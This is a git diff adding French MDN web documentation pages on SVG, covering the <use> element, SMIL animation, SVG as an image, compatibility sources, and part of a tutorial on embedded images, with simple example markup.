diff --git a/files/fr/web/svg/element/use/index.html b/files/fr/web/svg/element/use/index.html
new file mode 100644
index 0000000000..c8e179ea8a
--- /dev/null
+++ b/files/fr/web/svg/element/use/index.html
@@ -0,0 +1,182 @@
+---
+title: <use>
+slug: Web/SVG/Element/use
+translation_of: Web/SVG/Element/use
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élement <strong><code>&lt;use&gt; </code></strong>permet la duplication de <em>nodes </em>(noeuds du DOM, NDR) définis par <a href="/fr/docs/Web/SVG/Element/defs">&lt;defs&gt;</a> afin de les insérer par ailleurs. L'effet est le même que si les noeuds étaient créés dans une partie non-rendue (au sens de non-affichée) au sein du DOM puis "clonés"  là où est utilisé l'élément <code>use</code> tel que le permet les <a href="/en-US/docs/Web/HTML/Element/template">éléments de gabarit</a> grâce à HTML5.<br>
+ <br>
+ Puisque les noeuds clonés par <code>use</code> ne sont pas exposés, vous devez être attentif lorsque vous utilisez des règles de style <a href="/en-US/docs/Web/CSS" title="en/CSS">CSS</a> sur l'élément <code>use</code> et ses enfants "cachés". En effet les attributs CSS ne sont pas garantis d'être hérités lorsqu'ils seront clonés si vous n'explicitez pas correctement les <a href="/en-US/docs/Web/CSS/inheritance" title="en/CSS/inheritance">héritages CSS</a>.</p>
+
+<p>Pour des raisons de sécurité, certains navigateurs peuvent appliquer la politique de <em>même-origine</em> (c'est-à-dire le couple domaine et port identiques) pour l'élément <code>use</code> ce qui peut conduire à un refus de charger une URI depuis une origine différente conernant l'attribut {{SVGAttr("href")}}.</p>
+
+<div class="warning">
+<p>Depuis la version de SVG 2, l'attribut {{SVGAttr("xlink:href")}} est obsolète. Voir la page {{SVGAttr("xlink:href")}} pour plus d'informations.</p>
+</div>
+
+<h2 id="Contexte_d'usage">Contexte d'usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional_processing_attributes" title="en/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes" title="en/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Graphical_event_attributes" title="en/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes" title="en/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#XLink_attributes" title="en/SVG/Attribute#XLink">Xlink attributes</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("width")}}</li>
+ <li>{{SVGAttr("height")}}</li>
+ <li>{{SVGAttr("href")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément est implanté par l'interface {{domxref("SVGUseElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html; highlight[15,17,19]">&lt;svg width="80" height="80" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;style&gt;
+    .classA {
+      fill: red;
+    }
+  &lt;/style&gt;
+  &lt;defs&gt;
+    &lt;g id="Port"&gt;
+      &lt;circle style="fill: inherit;" r="10"/&gt;
+    &lt;/g&gt;
+  &lt;/defs&gt;
+
+  &lt;text y="15"&gt;black&lt;/text&gt;
+  &lt;use x="50" y="10" href="#Port" /&gt;
+  &lt;text y="35"&gt;red&lt;/text&gt;
+  &lt;use x="50" y="30" href="#Port" class="classA"/&gt;
+  &lt;text y="55"&gt;blue&lt;/text&gt;
+  &lt;use x="50" y="50" href="#Port" style="fill: blue;"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Example", 80, 80)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#UseElement', '&lt;use&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#UseElement', '&lt;use&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Load from external URI</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Load from data: URI</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Load from external URI</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Load from data: URI</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/svg/index.html b/files/fr/web/svg/index.html
new file mode 100644
index 0000000000..d09768a87e
--- /dev/null
+++ b/files/fr/web/svg/index.html
@@ -0,0 +1,126 @@
+---
+title: SVG
+slug: Web/SVG
+tags:
+  - Graphiques 2D
+  - Images
+  - Images 2D
+  - Images Extensibles
+  - Images Vectorielles
+  - Reference
+  - SVG
+  - Web
+  - 'l10n:priority'
+  - Ícones
+translation_of: Web/SVG
+---
+<div>{{SVGRef}}</div>
+
+<div class="callout-box"><strong><a href="/fr/SVG/Tutoriel" title="fr/SVG/Tutoriel">Premiers pas</a></strong><br>
+Ce tutoriel vous aidera à débuter en SVG.</div>
+
+<p><span class="seoSummary"><strong>SVG (Scalable Vector Graphics)</strong> est un langage de balisage <a href="/fr/XML" title="fr/XML">XML</a> décrivant des <a href="https://fr.wikipedia.org/wiki/Image_vectorielle">images vectorielles</a> bidimensionnelles. On pourrait dire que SVG est aux images ce qu'<a href="/fr/docs/Web/HTML">HTML</a> est au texte.</span></p>
+
+<p>SVG est une <a class="external" href="http://www.w3.org/Graphics/SVG/">recommandation du W3C</a> et est basé sur XML. Il est explicitement conçu pour fonctionner avec d'autres standards du <a class="external" href="http://www.w3.org/">W3C</a> comme <a href="/fr/CSS" title="fr/CSS">CSS</a>, <a href="/fr/DOM" title="fr/DOM">DOM</a> et <a class="external" href="http://www.w3.org/AudioVideo/">SMIL</a>.</p>
+
+<p>SVG est un format d'images vectorielles. Les images vectorielles peuvent être redimensionnées sans perte de qualité, tandis que ce n'est pas possible avec des images matricielles (bitmap).</p>
+
+<p>SVG est une norme développée par le <a href="https://www.w3.org/">World Wide Web Consortium (W3C) </a>depuis 1999.</p>
+
+<dl>
+</dl>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation">Documentation</h2>
+
+<dl>
+ <dt><a href="/fr/SVG/Element" title="fr/SVG/Element">Référence des éléments SVG</a></dt>
+ <dd>Obtenir des informations sur les éléments SVG.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute" title="/fr/docs/Web/SVG/Attribute">Référence des attributs SVG</a></dt>
+ <dd>Obtenir des informations sur les attributs SVG.</dd>
+ <dt><a href="/fr/docs/Référence_du_DOM_Gecko#Interfaces_SVG" title="/fr/docs/Référence_du_DOM_Gecko#Interfaces_SVG">Référence de l'interface DOM SVG</a></dt>
+ <dd>Les détails sur l'API DOM SVG pour intéragir avec Javascript.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/SVG_dans_Firefox" title="fr/SVG_dans_Firefox">SVG dans Firefox</a></dt>
+ <dd>Cet article décrit les caractéristiques et le comportement du sous-ensemble de la spécification SVG 1.1 actuellement implémenté dans Firefox 2.</dd>
+ <dt><a class="external" href="http://svground.fr/">SVG documentation tierce</a></dt>
+ <dd>Une référence francophone du format SVG sous forme de tutoriels.</dd>
+ <dt><a class="external" href="http://jwatt.org/svg/authoring/">SVG Authoring Guidelines</a> (en anglais)</dt>
+ <dd>jwatt traite des erreurs les plus courantes commises dans le contenu SVG, et explique ce que les auteurs peuvent faire pour les corriger.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mozilla_SVG_Project" title="fr/Projet_SVG_de_Mozilla">Projet SVG de Mozilla</a></dt>
+ <dd>Une présentation du projet SVG de Mozilla (à traduire de <a href="/en/Mozilla_SVG_Project" title="en/Mozilla_SVG_Project">en:Mozilla SVG Project</a>).</dd>
+ <dt><a class="external" href="http://www.mozilla.org/projects/svg/faq.html">Mozilla SVG Project FAQ</a></dt>
+ <dd>Cette FAQ est le résultat de recherches au sein du groupe mozilla.dev.tech.svg et des forums de MozillaZine pour connaître les questions les plus souvent posées à propos de SVG dans Mozilla.</dd>
+ <dt>Autres ressources</dt>
+ <dd>
+ <ul>
+  <li><a href="/fr/docs/Web/SVG/Tutoriel" title="/fr/docs/Web/SVG/Tutoriel">Un tutoriel</a></li>
+  <li><a href="/fr/docs/Introduction_à_SVG_dans_HTML" title="/fr/docs/Introduction_à_SVG_dans_HTML">Une introduction à SVG dans HTML</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/Special:Tags?tag=SVG&amp;language=fr" title="Special:Tags?tag=SVG&amp;language=fr">Tous les articles…</a></span></p>
+
+<h2 class="Community" id="Communauté">Communauté</h2>
+
+<ul>
+ <li>Voir les forums Mozilla... {{DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg")}}</li>
+</ul>
+
+<h2 class="Tools" id="Outils">Outils</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/Graphics/SVG/Test/">SVG Test Suite</a></li>
+ <li><a class="external" href="http://validator.w3.org/">Validateur SVG</a> (jusqu'à 1.1 seulement)</li>
+ <li>D'autres ressources connexes : <a href="/fr/docs/Web/XML" title="/fr/docs/XML">XML</a>, <a href="https://developer.mozilla.org/en-US/docs/CSS">CSS</a>, <a href="https://developer.mozilla.org/en-US/docs/DOM">DOM</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Canvas">Canvas</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="Exemples">Exemples</h2>
+
+<ul>
+ <li><a href="http://plurib.us/1shot/2007/svg_gallery/">Galerie d'art SVG</a></li>
+ <li><a href="http://www.carto.net/papers/svg/samples/">carto.net</a></li>
+ <li>Google <a href="http://maps.google.com">Maps</a> (tracé des routes) et Google <a href="http://docs.google.com">Docs</a> (graphiques des tableurs)</li>
+ <li><a href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Menus « bulles » SVG</a></li>
+ <li>Présentation <a href="https://jwatt.org/blog/2009/11/16/slides-and-demos-from-svg-open-2009">SVG et Mozilla</a> lors de SVG Open 2009</li>
+ <li><a href="/fr/docs/Web/SVG/SVG_en_tant_qu_image">SVG comme image</a></li>
+ <li><a href="/fr/docs/Web/SVG/SVG_animation_with_SMIL">Animation SVG avec SMIL</a></li>
+</ul>
+
+<h3 id="Animation_et_interaction">Animation et interaction</h3>
+
+<p>Comme HTML, SVG dispose d'un modèle de document (DOM) et d'évènements, et est accessible depuis JavaScript. Ceci permet aux développeurs de créer des animations riches et des images interactives.</p>
+
+<ul>
+ <li><a href="http://svg-wow.org/">svg-wow.org</a></li>
+ <li>Extension Firefox (<a href="http://schepers.cc/grafox/">Grafox</a>) pour ajouter la gestion d'un sous-ensemble des animations SMIL</li>
+ <li>Manipulation interactive de <a href="http://people.mozilla.com/~vladimir/demos/photos.svg">photos</a></li>
+ <li><a href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">Transformations HTML </a>utilisant <code>foreignObject</code> de SVG</li>
+</ul>
+
+<h3 id="Cartes_graphiques_jeux_et_expérimentations_3D">Cartes, graphiques, jeux et expérimentations 3D</h3>
+Bien qu'un peu de SVG puisse contribuer à améliorer le contenu du web, voici quelques exemples d'utilisation poussée du SVG.
+
+<dl>
+ <dd>
+ <ul>
+  <li>Un<a href="http://www.codedread.com/yastframe.php"> Tetris en SVG</a> et <a href="http://www.treebuilder.de/svg/connect4.svg">Connect 4</a></li>
+  <li>Jeu <a href="http://dev.w3.org/SVG/tools/svgweb/samples/svg-files/USStates.svg">Find the State</a></li>
+  <li><a href="http://www.treebuilder.de/default.asp?file=441875.xml">Boîte 3D</a> et <a href="http://www.treebuilder.de/default.asp?file=206524.xml">boîtes 3D</a></li>
+  <li><a href="http://jvectormap.com/">jVectorMap</a> (pour représenter des cartes interactives avec des données) (en anglais)</li>
+ </ul>
+ </dd>
+</dl>
+</div>
+</div>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/fr/web/svg/index/index.html b/files/fr/web/svg/index/index.html
new file mode 100644
index 0000000000..b1fc6f967c
--- /dev/null
+++ b/files/fr/web/svg/index/index.html
@@ -0,0 +1,8 @@
+---
+title: Index de la documentation SVG
+slug: Web/SVG/Index
+tags:
+  - SVG
+translation_of: Web/SVG/Index
+---
+<p>{{Index("/fr/docs/Web/SVG")}}</p>
diff --git a/files/fr/web/svg/sources_compatibilite/index.html b/files/fr/web/svg/sources_compatibilite/index.html
new file mode 100644
index 0000000000..49f69f68a7
--- /dev/null
+++ b/files/fr/web/svg/sources_compatibilite/index.html
@@ -0,0 +1,19 @@
+---
+title: Sources des compatibilités
+slug: Web/SVG/Sources_compatibilite
+tags:
+  - Compatibilité
+  - SVG
+translation_of: Web/SVG/Compatibility_sources
+---
+<p>Les sources suivantes sont utilisées pour les tableaux de compatibilités des éléments SVG et de leurs attributs :</p>
+
+<ul>
+ <li><a href="/En/SVG_in_Firefox" title="En/SVG_in_Firefox">https://developer.mozilla.org/En/SVG_in_Firefox</a> associé à son historique de révision pour Firefox</li>
+ <li><a class="external" href="http://www.webkit.org/projects/svg/status.xml">http://www.webkit.org/projects/svg/status.xml</a> associé à son <a href="http://wayback.archive.org/web/*/http://www.webkit.org/projects/svg/status.xml">archive enregistré</a> pour Webkit, Safari et Chrome</li>
+ <li><a class="external" href="http://www.opera.com/docs/specs/opera9/svg/">http://www.opera.com/docs/specs/opera9/svg/</a> ainsi que les pages pour Opera &gt;= 9, <a class="external" href="http://www.opera.com/docs/specs/opera8/">http://www.opera.com/docs/specs/opera8/</a> pour Opera 8</li>
+ <li><a class="external" href="http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx">http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx</a> pour connaître l'état du support sur IE9</li>
+ <li><a class="external" href="http://www.codedread.com/svg-support.php">Le graphique de support SVG sur Codedread.com</a> pour les vérifications basiques par rapport à la suite de test W3C</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/SVG">Wikipedia</a> pour des conseils basiques, non normatif</li>
+ <li><a href="svground.fr/">Svground.fr/ </a>tuto assez complet sur le SVG</li>
+</ul>
diff --git a/files/fr/web/svg/svg_animation_with_smil/index.html b/files/fr/web/svg/svg_animation_with_smil/index.html
new file mode 100644
index 0000000000..672c6aafc4
--- /dev/null
+++ b/files/fr/web/svg/svg_animation_with_smil/index.html
@@ -0,0 +1,129 @@
+---
+title: Animation SVG avec SMIL
+slug: Web/SVG/SVG_animation_with_SMIL
+tags:
+  - Animation
+  - Firefox 4
+  - Gecko 2.0
+  - HTML Animation
+  - SVG
+  - SVG Animation
+  - XML
+translation_of: Web/SVG/SVG_animation_with_SMIL
+---
+<div class="warning">
+<p>Bien que Chrome 45 déprécie SMIL en faveur des animations CSS et des animations Web, les développeurs Chrome ont depuis <a href="https://groups.google.com/a/chromium.org/d/msg/blink-dev/5o0yiO440LM/YGEJBsjUAwAJ">suspendu</a> cette décision.</p>
+</div>
+
+<p>Firefox 4 introduit le support pour les animations <a href="/en/SVG" title="en/SVG">SVG</a> en utilisant <a class="external" href="http://www.w3.org/TR/REC-smil" title="http://www.w3.org/TR/REC-smil">Synchronized Multimedia Integration Language</a> (SMIL). SMIL permet :</p>
+
+<ul>
+ <li>d'animer les attributs numériques d'un élément (x, y, ...)</li>
+ <li>d'animer la transformation des attributs (translation ou rotation)</li>
+ <li>d'animer les attributs de couleur</li>
+ <li>de créer un mouvement en suivant un tracé donné</li>
+</ul>
+
+<p>Pour ce faire, on utilise un élément SVG tel que <span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("animate") }}</span>. Vous trouverez ci-dessous des exemples illustrant les quatres différents manières de procéder.</p>
+
+<h2 id="Animer_l'attribut_d'un_élément">Animer l'attribut d'un élément</h2>
+
+<p>L'exemple suivant anime l'attribut <code><strong>cx</strong></code> d'un cercle. Pour ce faire, on ajoute un élément <span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("animate") }}  dans</span><span class="author-g-shbl2alwmr0wm7ko"> l'élément {{ SVGElement("circle") }}. Les attributs importants pour </span><span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("animate") }} sont :</span></p>
+
+<dl>
+ <dt><code><strong>attributeName</strong></code></dt>
+ <dd>Le nom de l'attribut à animer.</dd>
+ <dt><code>from</code></dt>
+ <dd>La valeur initiale de l'attribut.</dd>
+ <dt><code>to</code></dt>
+ <dd>La valeur finale.</dd>
+ <dt><code>dur</code></dt>
+ <dd>La durée de l'animation (par exemple, écrire '5s' pour 5 secondes).</dd>
+</dl>
+
+<p>Si vous voulez animer plus d'attributs dans le même élément, ajoutez simplement d'autres éléments {{ SVGElement("animate") }}.</p>
+
+<pre class="brush: html">&lt;svg width="300" height="100"&gt;
+  &lt;title&gt;Attribute Animation with SMIL&lt;/title&gt;
+  &lt;rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /&gt;
+  &lt;circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"&gt;
+    &lt;animate
+       attributeName="cx" from="0" to="100"
+       dur="5s" repeatCount="indefinite" /&gt;
+  &lt;/circle&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample("Animer_l'attribut_d'un_élément", '100%', 120) }}</p>
+
+<h2 id="Animer_la_transformation_d'attributs">Animer la transformation d'attributs</h2>
+
+<p><span class="author-g-shbl2alwmr0wm7ko">L'élement {{ SVGElement("animateTransform") }} permet d'animer la <strong>transformation</strong> d'attributs. Ce nouvel élément est nécéssaire parce que nous n'animons pas un simple attribut tel que <strong>x, </strong>qui est juste un nombre.<br>
+ Les attributs pour la rotation sont ainsi : <code>rotation(theta, x, y)</code>, où <code>theta</code> est l'angle en degrés, <code>x</code> et <code>y</code> sont les positions absolues.<br>
+ Dans l'exemple ci dessous, on anime le centre de rotation et l'angle.</span></p>
+
+<pre class="brush: html">&lt;svg width="300" height="100"&gt;
+  &lt;title&gt;SVG SMIL Animate with transform&lt;/title&gt;
+  &lt;rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /&gt;
+  &lt;rect x="0" y="50" width="15" height="34" fill="blue" stroke="black" stroke-width="1"&gt;
+    &lt;animateTransform
+       attributeName="transform"
+       begin="0s"
+       dur="20s"
+       type="rotate"
+       from="0 60 60"
+       to="360 100 60"
+       repeatCount="indefinite"
+			/&gt;
+  &lt;/rect&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample("Animer_la_transformation_d'attributs", '100%', 120) }}</p>
+
+<h2 id="Animation_suivant_un_tracé_(chemin)">Animation suivant un tracé (chemin)</h2>
+
+<p><span class="author-g-shbl2alwmr0wm7ko">L'élement {{ SVGElement("animateMotion") }} permet d'animer la position et la rotation d'éléments en suivant un tracé spécifique. Ce chemin est définit de la même manière que dans </span> <span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("path") }}</span><span lang="fr">.</span></p>
+
+<h3 id="Exemple_1_Mouvement_linéaire">Exemple 1: Mouvement linéaire</h3>
+
+<p>Dans cet exemple, un cercle bleu rebondit indéfiniment entre les bords gauche et droit d'une boîte noir. L'animation est ici gérée par l'élément {{ SVGElement("animateMotion") }}.</p>
+
+<p>On crée ici un chemin avec les commandes<strong> M</strong>oveTo, pour définir le point de départ de l'animation<strong>, H</strong>orizontal-line, pour déplacer le cercle de 300 pixels vers la droite, et la commande <strong>Z</strong>, pour fermer le chemin — ce qui permet d'établir une boucle qui revient au début. En définissant la valeur de l'attribut <strong>repeatCount</strong> à <code>indefinite</code>, on indique que l'animation doit boucler indéfiniment, tant que l'image SVG existe.</p>
+
+<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg" width="300" height="100"&gt;
+  &lt;title&gt;SVG SMIL Animate with Path&lt;/title&gt;
+  &lt;rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /&gt;
+  &lt;circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"&gt;
+    &lt;animateMotion
+       path="M 0 0 H 300 Z"
+       dur="3s" repeatCount="indefinite" /&gt;
+  &lt;/circle&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Exemple_1_Mouvement_linéaire', '100%', 120) }}</p>
+
+<h3 id="Exemple_2_Mouvement_en_courbe">Exemple 2: Mouvement en courbe</h3>
+
+<p>Le même exemple que précédemment mais avec une trajectoire courbe.</p>
+
+<pre class="brush: html">&lt;svg width="300" height="100"&gt;
+  &lt;title&gt;SVG SMIL Animate with Path&lt;/title&gt;
+  &lt;rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /&gt;
+  &lt;rect x="0" y="0" width="20" height="20" fill="blue" stroke="black" stroke-width="1"&gt;
+    &lt;animateMotion
+       path="M 250,80 H 50 Q 30,80 30,50 Q 30,20 50,20 H 250 Q 280,20,280,50 Q 280,80,250,80Z"
+       dur="3s" repeatCount="indefinite" rotate="auto" /&gt;
+  &lt;/rect&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Exemple_2_Mouvement_en_courbe', '100%', 120) }}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en/SVG" title="en/SVG">SVG</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/SVG/animate.html" title="http://www.w3.org/TR/SVG/animate.html">SVG Animation Specification</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/REC-smil" title="http://www.w3.org/TR/REC-smil">SMIL Specification</a></li>
+</ul>
diff --git a/files/fr/web/svg/svg_en_tant_qu_image/index.html b/files/fr/web/svg/svg_en_tant_qu_image/index.html
new file mode 100644
index 0000000000..e7acc660e0
--- /dev/null
+++ b/files/fr/web/svg/svg_en_tant_qu_image/index.html
@@ -0,0 +1,74 @@
+---
+title: SVG en tant qu'image
+slug: Web/SVG/SVG_en_tant_qu_image
+tags:
+  - Images
+  - SVG
+translation_of: Web/SVG/SVG_as_an_Image
+---
+<div>{{SVGRef}}</div>
+<p>Le format SVG peut être utilisé en tant qu'image dans de nombreux contextes. Beaucoup de navigateurs prennent en charge les images au format SVG avec :</p>
+
+<ul>
+ <li>les balises HTML {{HTMLElement("img")}} ou {{HTMLElement("svg")}}</li>
+ <li>l'attribut CSS {{cssxref("background-image")}}</li>
+</ul>
+
+<h2 id="Contexte_spécifique_à_Gecko">Contexte spécifique à Gecko</h2>
+
+<p>De plus, Gecko 2.0 {{geckoRelease("2.0")}} prend en charge l'usage du format <a href="/en-US/docs/SVG">SVG</a> dans ces contextes:</p>
+
+<ul>
+ <li>la propriété CSS {{cssxref("list-style-image")}}</li>
+ <li>la propriété CSS {{cssxref("content")}}</li>
+ <li>l'élément SVG {{SVGElement("image")}}</li>
+ <li>l'élément SVG {{SVGElement("feImage")}}</li>
+ <li>la fonction Canvas <a href="/fr/docs/HTML/Canvas/Tutorial/Using_images#drawImage"><code>drawImage</code></a></li>
+</ul>
+
+<h3 id="Restrictions">Restrictions</h3>
+
+<p>Pour plusieurs raisons, Gecko fixe quelques restrictions sur le format SVG lorsqu'il est utilisé en tant qu'image :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript" title="JavaScript">JavaScript</a> est désactivé.</li>
+ <li>Les ressources externes (p. ex. images, stylesheets) ne peuvent pas être chargées, cependant elles peuvent être utilisées en étant déclaré à travers des URLs de données.</li>
+ <li>Les liens stylistiques {{cssxref(":visited")}}  ne sont pas interprété.</li>
+ <li>Les widgets stylistiques natifs aux plateformes (basés sur le thème de l'OS) sont désactivés.</li>
+</ul>
+
+<p>A noter que les restrictions précédentes sont spécifiques à l'usage de SVG en tant qu'image; elles ne s'appliquent pas lorsque le contenu SVG est vu directement, ou lorsque il est embarqué en tant que document via les éléments {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, ou {{HTMLElement("embed")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "embedded-content-0.html#the-img-element", "SVG within &lt;img&gt; element")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Définit l'usage de SVG dans les éléments {{HTMLElement("img")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Backgrounds", "#the-background-image", "SVG within 'background-image' CSS property")}}</td>
+   <td>{{Spec2("CSS3 Backgrounds")}}</td>
+   <td>Définit l'usage de SVG dans la propriété {{cssxref("background-image")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="/fr/docs/Introduction_à_SVG_dans_HTML">Introduction à SVG dans HTML</a></li>
+</ul>
diff --git a/files/fr/web/svg/tutoriel/contenu_embarque_svg/index.html b/files/fr/web/svg/tutoriel/contenu_embarque_svg/index.html
new file mode 100644
index 0000000000..ecaf0e7d60
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/contenu_embarque_svg/index.html
@@ -0,0 +1,36 @@
+---
+title: Contenu embarqué dans le SVG
+slug: Web/SVG/Tutoriel/Contenu_embarque_SVG
+translation_of: Web/SVG/Tutorial/Other_content_in_SVG
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Découpages_et_masquages", "Web/SVG/Tutoriel/filtres") }}</p>
+
+<p>En plus des formes graphiques simples comme les rectangles et les cercles, le format SVG permet d'ajouter d'autres types de contenu aux images.</p>
+
+<h3 id="Embarquer_des_images">Embarquer des images</h3>
+
+<p>De la même façon qu'il est possible d'utiliser la balise <strong>img</strong> en HTML, le format SVG possède un élément <strong><code>image</code></strong> qui a la même utilité. Vous pouvez l'utiliser pour insérer des images bitmap ou vectorielles dans votre image SVG. La spécification définit que les formats PNG, JPEG et SVG au moins doivent être supportés.</p>
+
+<p>L'image embarquée devient un élément SVG normal. Cela implique que vous pouvez utiliser le découpage, les masques, les filtres, les rotations et toute la panoplie des outils svg sur ce contenu embarqué :</p>
+
+<pre>&lt;svg version="1.1"
+     xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
+     width="200" height="200"&gt;
+  &lt;image x="90" y="-65" width="128" height="146" transform="<strong>rotate(45)</strong>"
+     xlink:href="https://developer.mozilla.org/media/img/mdn-logo.png"/&gt;
+&lt;/svg&gt;
+</pre>
+
